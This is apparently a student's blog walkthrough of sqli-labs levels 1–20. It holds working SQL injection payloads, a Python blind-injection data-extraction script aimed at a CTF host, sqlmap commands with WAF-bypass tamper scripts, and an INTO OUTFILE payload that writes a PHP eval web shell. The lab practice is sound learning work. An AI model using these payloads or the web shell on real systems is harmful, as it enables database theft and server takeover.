Loading

sqli-labs刷题

前言

花了两天时间,终于把sqli-lab前20关都刷完了!感觉之前只有朦胧的对sqli的印象,结果现在才知道我见过的只是get类型的union注入,最简单的那种(晕)。。。
了解和实践了很多注入手法,union,报错,延时,布尔.....前段时间面试实验室的时候其实还不了解就敢说自己懂(惭愧
《从0到1:CTFer成长之路》这本书我觉得很棒,希望能尽快看完!
我参考了很多师傅的wp以及相关文章,一并附在了文章结尾。那么,下面是我的题目总结,有一些没写或者简写,以及没有图片(还没想到怎样简化插入图片还能上传到网站的办法),如果观感不好请多担待。

sql注入基础思路

符号说明

运算符 类型 功能 标准性 适用场景
& 位运算符 按位与运算或字符串连接 非通用(依数据库) 二进制运算、特定数据库字符串拼接
&& 逻辑运算符 逻辑与运算(短路) 非标准(仅 MySQL) MySQL 环境简化代码
AND 逻辑运算符 逻辑与运算(短路) 标准 SQL 跨数据库兼容、复杂条件组合

数据库判断

参照(53 封私信) SQL注入如何判断数据库类型 - 知乎进行整理.

数据库判断的常见方式有:

前端与数据库类型

asp:SQL Server,Access

.net:SQL Server

php:MySQL,PostgreSQL

java:Oracle,MySQL

数据库特定的函数

  • len和length

    len():SQL Server 、MySQL以及db2返回长度的函数。
    
    length():Oracle和INFORMIX返回长度的函数。
    
  • version和@@version

    version():MySQL查询版本信息的函数
    
    @@version:MySQL和SQL Server查询版本信息的函数
    
  • substring和substr

    MySQL两个函数都可以使用
    
    Oracle只可调用substr
    
    SQL Server只可调用substring
    
  • asc和ascii


类型判断

数字型:select * from table where id =$id
字符型:select * from table where id='$id'
加上'报错,再加上%23说明存在url注入点。

如果在id处输入3-1或6/3显示的结果和id=2是一致的,则是数字型,反之则是字符型

less-1&less-2

less-1

http://www.sqli-lab.cn/Less-1/?id=1输入id=1+1,若返回结果与id=2一致,则为数字型,否则为字符型。http://sqli-labs/Less-1/?id=1+1并未显示,说明是字符型。
爆表名http://localhost/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
爆列名http://localhost/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' %23
爆数据http://localhost/Less-1/?id=-1' union select 1,password,username from users %23

less-2

less-2同样验证后可知是数字型,后续做法一致。

less-3&less-4

less-3

less-3的闭合为')

less-4

less-3的闭合为")

less-5&less-6

less-5开始不再正常有回显了,但仍然有报错。

盲注中的相关函数:

  • left(a,b):返回字符串a中最左边的b个字符。
  • substr(a,b,c)`:从位置b开始截取a字符中的前c个字符。
  • ascii():ascii转换,a-z的ascii值:97-122

less-5

布尔盲注

首先测试到闭合为'闭合,开始布尔盲注
http://localhost/Less-5/?id=1' and length(database())=8 %23得知数据库名长度为8。

  1. 然后开始猜解数据库的名称:
    第一个字母http://localhost/Less-5/?id=1' and substr(database(),1,1)='s' %23
    第二个字母http://localhost/Less-5/?id=1' and substr(database(),2,1)='e' %23
    ......(以此类推)
    最终得到数据库名称为security
    (根据测试,输入错误函数会报错可直接得到当前库名:http://localhost/Less-5/?id=1' and subbstr(database(),1,1)='s' %23
  2. 猜解表名:
    第一个字母http://localhost/Less-5/?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e' %23
    第一个字段http://localhost/Less-5/?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,5)='email' %23

......
绵绵无期,是sqlmap登场的时候了!

sqlmap的使用

  • 爆表python E:\myCTFTools\WebTools\sqlmap\sqlmap.py username=1&password=1

    • --technique=B 指定注入类型为布尔

    • --technique=T指定注入类型为延时

    • -D security 指定库

    • --tables 爆表名

    • --level=5 等级为5

    • --dbms=mysql 指定后端数据库类型

  • 爆列python E:\myCTFTools\WebTools\sqlmap\sqlmap.py -u "http://127.0.0.1/Less-5/?id=1" -D security -T emails --columns --batch --level=5

  • 数据python E:\myCTFTools\WebTools\sqlmap\sqlmap.py -u "http://127.0.0.1/Less-5/?id=1" -D security -T emails -C "usename,password" --dump --batch --level=5

post类型:python sqlmap.py -r test.txt -D ctf -T flags --dump --batch --level=5

--tamper 调用脚本

脚本:
脚本名称						作用说明
apostrophemask.py			将引号替换成UTF-8,用于过滤单引号
base64encode.py				替换成base64编码
multiplespaces.py			围绕SQL关键字添加多个空格
space2plus.py				用+号代替空格
nonrecursivereplacement.py	作为双重查询语句,用双重语句替换预定义的SQL关键字
space2randomblank.py		将空格替换为其他有效字符
unionalltounion.py			将union all select 替换成union select
securesphere.py				追加特制的字符串
space2hash.py				将空格替换为#号,并添加一个随机字符串和换行符
space2mssqlblank.py(mssql)	将空格替换成其他空符号
space2mssqlhash.py			将空格替换为#号,并添加一个换行符
between.py					用not between 0 and替换大于号,用between and替换等于号
percentage.py				ASP允许每个字符前面添加%号
sp_password.py				从DBMS日志的自动模糊处理的有效载荷追加sp_password
charencode.py				对给定的payload全部字符使用URL编码
randomcase.py				随机大小写
charunicodeencode.py		字符串Unicode编码
space2comment.py			将空格替换成/**/
equaltolike.py				将等号替换为like
greatest.py					绕过对大于号的过滤,用GREATEST替换大于号
ifnull2ifsnull.py			绕过对ifnull的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)
modsecurityversioned.py		过滤空格,使用MySQL内联注释的方式进行注入
space2mysqlblank.py			将空格替换为其他空白符号(适用于MySQL)
modsecurityzeroversioned.py	使用MySQL内联注释的方式进行注入
space2mysqlhash.py			将空格替换为–,并添加一个换行符
bluecoat.py					在SQL语句之后用有效的随机空白替换空格符,随后用like替换等于号
versionedkeywords.py		注释绕过
halfversionedmorekeywords.py当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释
space2moreshash.py			将空格替换为#号,并添加一个随机字符串和换行符
apostrphenullencode.py		用非法双字节Unicode字符替换单引号
appendnullbyte.py			在有效负荷的结束位置加载零字节字符编码
chardoubleencode.py			对给定的payload全部字符使用双重url编码
unmagicquotes.py			用一个多字节组合和末尾通用注释一起替换空格
randomcomments.py			用/**/分割SQL关键字

盲注的python脚本:

import requests
import string

url = "http://challenge.qsnctf.com:39904/login.php"
characters = string.ascii_letters + string.digits + string.punctuation

def check_injection(payload):
    """检查注入是否成功"""
    data = {"psw": payload, "uname": "admin"}
    try:
        resp = requests.post(url, data=data, timeout=10)
        return "Login successful" in resp.text
    except:
        return False

# 1. 获取数据库名长度
print("[*] 获取数据库名长度...")
for i in range(1, 50):
    payload = f"1' or length(database())={i}#"
    if check_injection(payload):
        db_length = i
        print(f"[+] 数据库名长度: {db_length}")
        break

# 2. 获取数据库名
print("[*] 获取数据库名...")
database_name = ""
for i in range(1, db_length + 1):
    for char in characters:
        payload = f"1' or substr(database(),{i},1)='{char}'#"
        if check_injection(payload):
            database_name += char
            print(f"[+] 当前数据库名: {database_name}")
            break

print(f"[+] 完整数据库名: {database_name}")

# 3. 获取表的数量
print("[*] 获取表的数量...")
for i in range(1, 20):
    payload = f"1' or (select count(table_name) from information_schema.tables where table_schema='{database_name}')={i}#"
    if check_injection(payload):
        table_count = i
        print(f"[+] 表的数量: {table_count}")
        break

# 4. 获取每个表名
print("[*] 获取表名...")
tables = []
for table_idx in range(table_count):
    # 获取表名长度
    for i in range(1, 50):
        payload = f"1' or length((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_idx},1))={i}#"
        if check_injection(payload):
            table_length = i
            break
    
    # 获取表名
    table_name = ""
    for i in range(1, table_length + 1):
        for char in characters:
            payload = f"1' or substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_idx},1),{i},1)='{char}'#"
            if check_injection(payload):
                table_name += char
                break
    tables.append(table_name)
    print(f"[+] 表名 {table_idx + 1}: {table_name}")

# 5. 获取列名(以第一个表为例)
target_table = tables[0]  # 可以修改选择其他表
print(f"[*] 获取表 {target_table} 的列名...")
columns = []
for col_idx in range(10):  # 假设最多10列
    # 获取列名长度
    found = False
    for i in range(1, 50):
        payload = f"1' or length((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{target_table}' limit {col_idx},1))={i}#"
        if check_injection(payload):
            col_length = i
            found = True
            break
    
    if not found:
        break
    
    # 获取列名
    col_name = ""
    for i in range(1, col_length + 1):
        for char in characters:
            payload = f"1' or substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{target_table}' limit {col_idx},1),{i},1)='{char}'#"
            if check_injection(payload):
                col_name += char
                break
    columns.append(col_name)
    print(f"[+] 列名 {col_idx + 1}: {col_name}")

# 6. 提取数据(以第一列为例)
if columns:
    target_column = columns[0]  # 可以修改选择其他列
    print(f"[*] 从 {target_table}.{target_column} 提取数据...")
    
    for row_idx in range(10):  # 提取前10行
        # 获取数据长度
        found = False
        for i in range(1, 100):
            payload = f"1' or length((select {target_column} from {target_table} limit {row_idx},1))={i}#"
            if check_injection(payload):
                data_length = i
                found = True
                break
        
        if not found:
            break
        
        # 获取数据
        data = ""
        for i in range(1, data_length + 1):
            for char in characters:
                payload = f"1' or substr((select {target_column} from {target_table} limit {row_idx},1),{i},1)='{char}'#"
                if check_injection(payload):
                    data += char
                    break
        print(f"[+] 数据行 {row_idx + 1}: {data}")

print("[+] 盲注完成!")

报错注入

也可以使用报错注入

http://localhost/Less-5/?id=1' or updatexml(1,concat(0x7e,database(),0x7e),1) %23

回显XPATH syntax error: '~security~'

http://localhost/Less-5/?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23

回显XPATH syntax error: '~emails,referers,uagents,users~'

http://localhost/Less-5/?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),0x7e),1) %23

回显XPATH syntax error: '~id,username,password~'

http://localhost/Less-5/?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,':',password)) FROM users),1,32),0x7e),1) %23

less-6

同less-5,闭合方式不同。

less-7 into outlife&less-8

less-7

常见闭合:

'$id'
"$id"
('$id')
("$id")
(('id'))

测试为(('id'))闭合,into outlife写马连接,http://localhost/Less-7/?id=-1')) union select 1,2,"<?php @eval($_POST['cmd']) ?>" INTO OUTFILE "E:/myCTFTools/range/sqli-labs/Less-7/shell.php" %23
不过在写入之前需要在mysql目录下的my.ini中加上secure_file_priv='\'开启写入权限。

less-8

同less-7

less-9 回显相同,时间盲注

less-10 同less-9,闭合不同

less-11 登录框 万能密码

admin' or 1=1 %23

直接在uname参数之后加上%23将后面注释掉,然后在那之后注入即可,步骤同less-1。

less-12

测试闭合为:passwd=admin&submit=Submit&uname=admin") %23
然后同less-11思路一致。

less-13

测试闭合为:admin')
但是只有报错,正确时无回显,所以判断为时间盲注或布尔盲注。

less-14

测试闭合为:admin"

less-15

测试闭合为:admin'
既无正确回显,也无报错。只能看出是否登陆成功。(时间,布尔,写马?(可,参考less-7 payload: passwd=admin&submit=Submit&uname=-1' union select 1,"<?php @eval($_POST['cmd']) ?>" INTO OUTFILE "E:/myCTFTools/range/sqli-labs/Less-15/shell.php" %23))

less-16

测试闭合为:passwd=admin&submit=Submit&uname=admin") %23
(时间,布尔,写马)

less-17 (修改密码界面 update注入点)

参数:passwd=admin&submit=Submit&uname=admin
修改密码想到后端会用到updete函数,查看源码果真如此,

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

爆表名
payload为:

passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23&submit=Submit&uname=admin

时总是报错为:Truncated incorrect DOUBLE value: 'admin'这是因为updatexml()会返回布尔值为double类型,同时会把前面的admin强转为double失败导致报错。
改为1':

passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23&submit=Submit&uname=admin

则是成功的。
爆字段

passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema='security'),0x7e),1) %23&submit=Submit&uname=admin

爆数据

passwd=1' and updatexml(1,concat(0x7e,(select concat(password,':',username) from users),0x7e),1) %23&submit=Submit&uname=admin

此时会抛出错误:You can't specify target table 'users' for update in FROM clause这是因为在原语句中已经正在使用这张表了,而子查询中的SELECT ... FROM users也引用了同一张表,导致MySQL拒绝执行。
此时只需要用AS大法即可!

passwd=1' and updatexml(1,concat(0x7e,(select group_concat(concat(password,':',username)) from (select * from users) AS a),0x7e),1) %23&submit=Submit&uname=admin

但是会发现显示不全。这时就应该用相关函数分段显示了,substr(), mid(),left(), right()......等都可以。
示例:

updatexml(1,concat(0x7e,substr((select group_concat(concat(username,':',password)) FROM (SELECT * FROM users) AS a),1,32),0x7e),1) %23

我尝试了用sqlmap来dump下来less-17的users表,但是失败了,这是为什么?(不太清楚,要么是无数据,要么是空表)

[18:28:38] [INFO] adjusting time delay to 2 seconds due to good response times
3
Database: security
Table: users
[13 entries]
+------+----------+----------+
| id   | password | username |
+------+----------+----------+
| NULL | NULL     | NULL     |
| NULL | NULL     | NULL     |
| NULL | NULL     | NULL     |
| NULL | NULL     | NULL     |
| NULL | NULL     | NULL     |
| NULL | NULL     | NULL     |
| NULL | NULL     | NULL     |
| NULL | NULL     | NULL     |
| NULL | NULL     | NULL     |
| NULL | NULL     | NULL     |
| NULL | NULL     | NULL     |
| NULL | NULL     | NULL     |
| NULL | NULL     | NULL     |
+------+----------+----------+

[18:28:41] [INFO] table '`security`.users' dumped to CSV file 'C:\Users\Lenovo\AppData\Local\sqlmap\output\127.0.0.1\dump\security\users.csv'
[18:28:41] [INFO] fetched data logged to text files under 'C:\Users\Lenovo\AppData\Local\sqlmap\output\127.0.0.1'

[*] ending @ 18:28:41 /2025-03-16/


E:\myCTFTools\WebTools\sqlmap>

less-18(报错,延时盲注 User-Agent注入点)

PHP 里用来获取客户端 IP 的变量

$_SERVER['HTTP_CLIENT_IP'] #这个很少使用,不一定服务器都实现了。客户端可以伪造。
$_SERVER['HTTP_X_FORWARDED_FOR'] #客户端可以伪造。
$_SERVER['REMOTE_ADDR'] #客户端不能伪造。

User-Agent: 1'报错
看到报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1', 'admin')' at line 1
推测有三个值,构造如下:

User-Agent: 1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))  #

less-19(报错,延时盲注 Referer注入点)

Referer: 1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)) #

less-20(报错,延时盲注 Cookie注入点)

Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

一些补充

sqlite判断

username=admin&password=1' union select 1,2,(select sql from sqlite_master)--

1%' union select 1, group_concat(tbl_name), 3 from sqlite_master --

mysql内置库

mysql,sys,performance_schema,information_schema

其中最重要的是information_schema里面的三张表,schematatablescolumns
分别存储库名,表名,字段名。schemata中对应的是schema_name字段;tables中是table_name,可以通过table_schema即对应的数据库名来获取;

mysql DNS外带,select load_file('\\\\www.baidu.com');

参考文章:
https://www.anquanke.com/post/id/266244
https://www.cnblogs.com/-qing-/p/11610385.html
从0到1:CTFer成长之路(其中的sqli部分)
sqli-labs-less-5布尔盲注+错误注入(超详细,小白专属)
Sqlmap使用教程【个人笔记精华整理】
SQLI-LABS(Less-7)
sqli-labs less-7 一句话木马
最适合POST型SQL注入小白之sqli-labs靶场(less-17~less-21:POST手动注入和sqlmap自动注入)
sqli-labs 靶场 1-65 通关记
sqli-labs 通关指南:Less 18、19

posted @ 2025-08-19 09:35  幽暗天琴沙雕  阅读(146)  评论(0)    收藏  举报